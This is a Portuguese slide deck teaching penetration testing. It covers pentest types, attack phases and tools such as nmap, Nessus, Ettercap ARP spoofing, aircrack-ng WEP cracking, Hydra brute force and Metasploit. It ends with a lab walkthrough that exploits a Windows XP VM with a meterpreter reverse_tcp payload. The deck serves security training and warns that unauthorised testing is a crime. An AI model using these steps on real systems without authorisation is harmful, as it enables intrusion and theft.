72
Marcos Verbena Especialista em Segurança da Informação - FMG LPIC – CLA Testes de Invasão - Pentest

Testes de Invasão - Pentest

  • Upload
    others

  • View
    8

  • Download
    0

Embed Size (px)

Citation preview

Marcos VerbenaEspecialista em Segurança da Informação - FMGLPIC – CLA

Testes de Invasão - Pentest

Agenda

Conceito Pentest;

Tipos de Pentest;

Fases de um ataque;

Ferramentas para testes de invasão;

Considerações finais;

Bibliografia.

Porque precisamos de Segurança ?

Quanto mais a tecnologia evolui, mais fácil torna-se a operação dos novossistemas e ferramentas;

Tudo está conectado atualmente! E quando uma máquina ou sistema écomprometido, tudo o que está ao seu redor corre o risco de ser comprometidotambém;

Diminuição do nível de conhecimento para a execução de um ataque avançado;

Aumento da complexidade para administração de infraestrutura decomputadores e gerenciamento;

Pentest

É o processo de análise detalhada do nível de segurança de um sistema ou rede, usando a perspectiva de um infrator.

Objetivo de simular de forma controlada um ataque real normalmente executado por criminosos.

Tipos de Pentest

Blind

Auditor não detem conhecimentos sobre o alvo que irá atacar, contudo, o alvo sabe que será atacado e o que será feito durante o teste;

Double blind

Auditor não detem conhecimentos sobre o alvo que irá atacar, e o alvo não sabe que será atacado e tão pouco os ataques que serão realizados durante os testes;

Tipos de Pentest

Gray Box

Auditor detem conhecimento parcial do alvo, e o alvo sabe que será atacado e o que será feito durante o teste;

Double Gray Box

Auditor detem conhecimento parcial do alvo, e o alvo sabe que será atacado, contudo, não sabe quais testes serão realizados;

Tipos de Pentest

Tandem

Auditor possui total conhecimento sobre o alvo, e o alvo sabe que será atacado, bem como testes a serem realizados;

Reversal

Auditor tem total conhecimento do alvo, contudo, o alvo não sabe que será atacado e tão pouco quais serão dos testes realizados;

Tabela comparativa

Auditor conhece o alvo

Alvo sabe do ataque

Alvo conhece os testes

Blind Não Sim Sim

Double Blind Não Não Não

Gray Box Parcialmente Sim Sim

Double Gray Box Parcialmente Sim Não

Tandem Sim Sim Sim

Reversal Sim Não Não

Fases de uma Ataque

     Os passos realizados por um pentester durante os teste de invasão, são os mesmos utilizados por um cracker o que os difere são as intensões e escopo da invasão;

Levantamento de

InformaçõesVarredura

Ganhar Acesso

Manter Acesso

Apagar rastros

Fase 1 Fase 2 Fase 3 Fase 4 Fase 5

Levantamento de informação

Considerada fase mais importante de um ataque e/ou teste de invasão;

Fase de planejamento, definição de escopo e dos vetores de ataque;

Está intimamente ligada a fase seguinte;

● Funcionários;

● Proprietário(s);

● Redes sociais;

● Engenharia social;

● Empresas terceirizadas;

● Sites; (123people.com / pipl.com / GHDB - http://www.hackersforcharity.org/ghdb/ )

Levantamento de

Informações

Varredura

Busca de informações detalhadas;

Apoio a definição dos vetores de ataque;

Localizar falhas e/ou vulnerabilidades;

➢ Identificação do Sistema Operacional;

➢ Serviços em execução e suas versões;

➢ Existência de IDS/IPS;

➢ Política padrão utilizada em Firewalls;

➢ A existência de algum serviço malicioso já em execução;

➢ Portas abertas para conexões remotas;

Varredura

Ganhando acesso

Hora de colocar em prática o que foi planejado;

Fase de realização do ataque;

Técnicas para ganhar acesso;

➢Ataque de força bruta local ou remoto;

➢Captura de tráfego de rede;

➢Exploração de serviços vulneráveis;

Ganhar Acesso

Mantendo acesso

Nesta fase o cracker busca manter o acesso conseguido através das fases anteriores;

Não é utilizada pelo profissional pentester;

Cuidado na utilização de backdoors ou outros dispositivos, pois outras pessoas podem descobri-los;

Manter Acesso

Apagando rastros

Consiste na eliminação de rastros;

No caso de um cracker, para dificultar a identificação da origem do ataque;

No caso de um pentester desejar testar o conhecimento da equipe forense da empresa onde estão sendo realizados os testes;

Apagar rastros

Conduzindo testes de invasão

Alguns passos são necessários para que um teste de invasão seja bem sucedido;

1. Converse com o cliente sobre as necessidades dos testes;

2. Elaboração de um contrato de serviço, sendo obrigatória a

assinatura do cliente;

3. Escolha do time de profissionais e agendamento dos testes;

4. Realização dos testes;

5. Analisar os resultados dos teste e preparar um relatório final;

6. Entrega do relatório ao cliente;

TESTE DE INVASÃO SEM PERMISSÃO É CRIME!

Ferramentas para Testes de Invasão

http://www.backtrack-linux.org/downloads/

Distribuição Backtrack (Linux)

Derivada do Ubuntu;

Distribuída gratuitamente no site oficial;(www.backtrack-linux.org)

Pode ser utilizada como sistema nativo, LiveCD, Pendrive ou Máquina Virtual;

Desenvolvida especialmente para profissionais de segurança;

Diversas ferramentas para Testes de Invasão e Perícia Forense;

Backtrack

Menu de fácil usabilidade e compreensão;

Divisão por categorias e subcategorias;

Ferramentas para Testes de Invasão

Uma das principais ferramentas para levantamento de informações é o Google ( Sites, Funcionários, Parceiros, Grupos, Redes Sociais );

Ex.: A pesquisa busca urls compostas por index.of e base;

➢intitle:index.of and base

http://www.archive.org/ ( Históricos sites )http://news.netcraft.com/ ( Servidor Web )http://www.geoiptool.com ( Localização do endereço IP )https://registro.br/cgi-bin/whois/ ( Informações do registro )

➢http://www.granbery.edu.br/

Levantamento de

Informações

Ferramentas para Testes de Invasão – Fase 1

Utilização de engenharia social;

Arte de enganar pessoas com o objetivo de obter informações não autorizadas;

Utilizar ferramentas para organização e memorização dos passos realizados e testes;

Freemind; ( Permite a criação de mapas mentais )

Ferramentas para Testes de Invasão - Fase 1

Freemind

Ferramentas para Testes de Invasão – Fase 2

Identificação de Sistema Operacional;

Ping e Traceroute;

Testes com base no ttl ( Time to Live );

➢Linux – Normalmente 64;

➢Windows – Normalmente 128;

➢Cisco – Normalmente 255;

➢Linux + Iptables – Normalmente 255;

Varredura

Ferramentas para Testes de Invasão – Fase 2

Xprobe2

Criada por Fyodor criador do nmap e Ofir Arkin co-fundador do projeto honeynet.org

Análise de banners de sistemas operacionais;

Possui um banco de dados interno (/usr/local/etc/xprobe2/xprobe2.conf)

# xprobe2 192.168.254.250

Verificação de banner com Xprobe2 parte I

Verificação de banner com Xprobe2 parte II

Ferramentas para Testes de Invasão - Fase 2

Nmap ( http://nmap.org/ )

Scanner de Portas ativas e abertas;

Serviços em execução e suas versões;

Tipo de Sistema Operacional;

Versão atual 5.50;

100% livre;

<Opções>: -sP (Scan Ping) -sV (Detecção de Versão) -sS (Scan TCP Syn) -sT (Scan TCP connect ())

Sintaxe

#nmap <opção> <IP_Vitima>

Saída de um scanner por detecção de versão utilizando nmap

Ferramentas para Testes de Invasão - Fase 2

HttPrint

Análise de banners de servidores web

Ferramentas para Testes de Invasão - Fase 2

Nessus ( http://tenable.com/ )

Poderoso Scanner de vulnerabilidades;

Disponível gratuitamente por 60 dias com limitações de plugin;

Multiplataforma (Windows, Linux, Bsd e Mac OS X);

Possui interface web de administração;

Tela inicial web de login

Relatório de vulnerabilidades encontradas

Vulnerabilidades relacionadas à porta 445

Relatório detalhado sobre uma vulnerabilidade de acesso remoto

Ferramentas para Testes de Invasão – Fase 2

OpenVAS ( www.openvas.org )

Scanner de Vulnerabilidades;

Ferramenta gratuita;

Versão atual OpenVAS-4;

Banco com mais de de 20.000 vulnerabilidades (Janeiro de 2011);

Relatórios detalhados com informações de exploits;

http://cve.mitre.org/cve/cve.html (Localiza informações e exploit para CVE)

Relatório de vulnerabilidades encontradas no Metasploitable com CVE

Ferramentas para Testes de Invasão – Fase 2

Ettercap

Sniffer de rede ativo e passivo;

Possui plugins para auxiliar nas varreduras e ataques;

repoison_arp; reply_arp; dns_spoof, dos_attack;

Multiplataforma (Windows, Linux,Bsd e Mac OS x);

Sniffer de redes cabeadas e wireless;

Realização de sniffer e utilização de plugin ARP-poisoning (ARP-Spoofing)

Host C envia ARP com IP de B com MAC de C;

Host C envia ARP com IP de A com MAC de C;

Todo tráfego de pacotes e solicitações de rede realizadas por B, irão passar por C e depois encaminhadas ao A

Saída pelo Gateway de rede (antes do ataque Man in the Middle (MITM)

Saída pela máquina do invasor após o ataque Man in the Middle (MITM)

Ferramentas para Testes de Invasão – Fase 2

Kismet

Sniffer de rede Wireless;

Detecção de redes sem fio;

Utilizado como sistema de detecção de intrusão;

Identificação passiva de redes (recepção de pacotes);

Formato de saída compatível com outros sniffers ( wireshark);

Identificação de blocos de ips e clientes;

Relatório detalhado com informações relevantes para um ataque:criptografia utilizada;

Multiplataforma; (Windows, Linux, Mac OS X e Bsd)

Sniffer passivo realizado com Kismet (Wardriving)

Demonstrativo detalhado de uma rede capturada pelo Kismet durante o Wardiving

Ferramentas para Testes de Invasão - Fase 3

Aircrack-ng ( http://www.aircrack-ng.org/ )

Recuperação de senha WEP / WPA-PSK;

Captura de pacotes necessária para recuperaçao de senha;

Recuperação rápida de senhas em WEP;

Possibilita a utilização de arquivos de senhas;

Formado por um conjunto de ferramentas de redes sem fio e auditoria;

Ganhar Acesso

nomerede

nomeredeRealizando solicitação de conexão com o AP aireplay-ng -1

Enviando várias solicitações ARP, para aumentar o volume de pacotes com senhas; aireplay -3

nomerede

nomerede

Captura de pacotes “DATA”, utilizados na recuperação de senha;

Senha WEP recuperada em formato hexa;

Ferramentas para Testes de Invasão - Fase 3

W3af ( http://w3af.sourceforge.net/ )

Framework de auditoria e ataque Web (Web Application Security);

Possiu plugins poderosos;

Facil usabilidade;

Varredura rápida;

Possui exploits internos a sua estrutura;

Versão atual w3af 1.0-RC5;

Configuração de auditoria em aplicação Web no Metasploitable

Log contendo informações sobre vulnerabilidade encontrada;

Relatório final contendo maiores detalhes sobre as vulnerabilidades encontradas

Opções de exploits encontradas no banco do W3af

Tentativa de execução dos exploits fornecidos

Ferramentas para Testes de Invasão – Fase 3

THC-Hydra ( http://www.thc.org/thc-hydra/ )

Brute force local ou remoto;

Utilização de wordlist;

Suporte a ssl;

Suporte a diversos protocolos;

Versão atual 6.1

Seleções básicas, alvo, porta e protocolo;

Mecanismo utilizado para o brute force, no caso wordlists;

Display das combinações realizadas e testadas

Ferramentas para Testes de Invasão – Fase 3

Brutessh

Ferramentas para Testes de Invasão – Fase 3

Metasploit Framework ( MSF )

Distribuído gratuitamente e de código aberto;

Multiplataforma ( Windows, BSD, Mac Os, Linux etc) Ruby O-O, C# e Assembler;

Plataforma de aprendizado e investigação para os profissionais de SI;

Estudo e desenvolvimento de exploits;

Possui vários exploits, payloads e ferramentas para testar vulnerabilidades;

Ferramentas para Testes de Invasão – Fase 3

Opções de acesso:

Interface Web, possui seu próprio servidor web. Mesmas opções internas disponíveis no modo console;

Interface de comando (msfconsole) mais utilizada, utilização intuitiva e interativa;

Interface Web ( http://127.0.0.1:55555 )

Interface de comando (msfconsole)

Case – Metasploit Framework

Utilizadas 2 Máquinas Virtuais com Virtual Box: Backtrack 4 R2 e Windows Xp Professional.

Consiste na exploração de vulnerabilidade conhecida no browser IE;

Exploração remota com shell reverso meterpreter;

Selecionando exploit a ser utilizado;

[ms10_046_shortcut_icon_dllloader]

Verificando opções para sua utilização;

[show options]

Informando parâmetros necessários para o Exploit;

[set SRVHOST <IP_MAQ_LOCAL>]

Selecionando atividade a ser executada após a exploração “PAYLOAD”;

[set PAYLOAD windows/meterpreter/reverse_tcp]

Verificando opções necessárias para o carregamento do PAYLOAD;[show options]

Inserindo informação de IP_Local onde será realizada conexao reversa;

Set LHOST [IP_MAQUINA_BKT]

Verifiando se as informações foram carregadas com sucesso;

[show options]

O comando exploit inicia a exploração da vulnerabilidade;

Servidor Web malicioso está UP;

Acesso ao endereço com servidor Web falso;

Processo de abertura da conexão reversa iniciada entre o cliente e o servidor;

Consulta informações do sistema comprometido;

Lista diretórios do sistema comprometido;

Lista processos ativos do host comprometido;

Shell Meterpreter;

Possui diversas funcionalidade dentre, sniffer, screenshot, keyloger, backdoor, manipulação de arquivos e diretórios etc.

Comando básico de ajuda;

Help

?

Referências Bibliográficas

Pentest

http://www.4shared.com/document/Km38LHJr/PENTEST_Tcnicas_de_invaso_e_de.htm

Exploits

http://www.exploit-db.com/http://cve.mitre.org/cve/http://secunia.com/http://www.securityfocus.com/vulnerabilities

Metasploit frameworkhttp://www.metasploit.com/framework/download/http://segurancalinux.com/artigo/Criando-um-exploit-passo-a-passo?pagina=1

Referências Bibliográficas

Ferramentas de sniffer e scanners

http://nmap.org/http://sectools.org/sniffers.htmlhttp://sectools.org/vuln-scanners.html

Metaesploitable ( Distro vulnerável )

http://blog.metasploit.com/2010/05/introducing-metasploitable.html

Linuxhttp://pt.wikibooks.org/wiki/Guia_do_Linux/Iniciante%2BIntermedi%C3%A1rio/Introdu%C3%A7%C3%A3o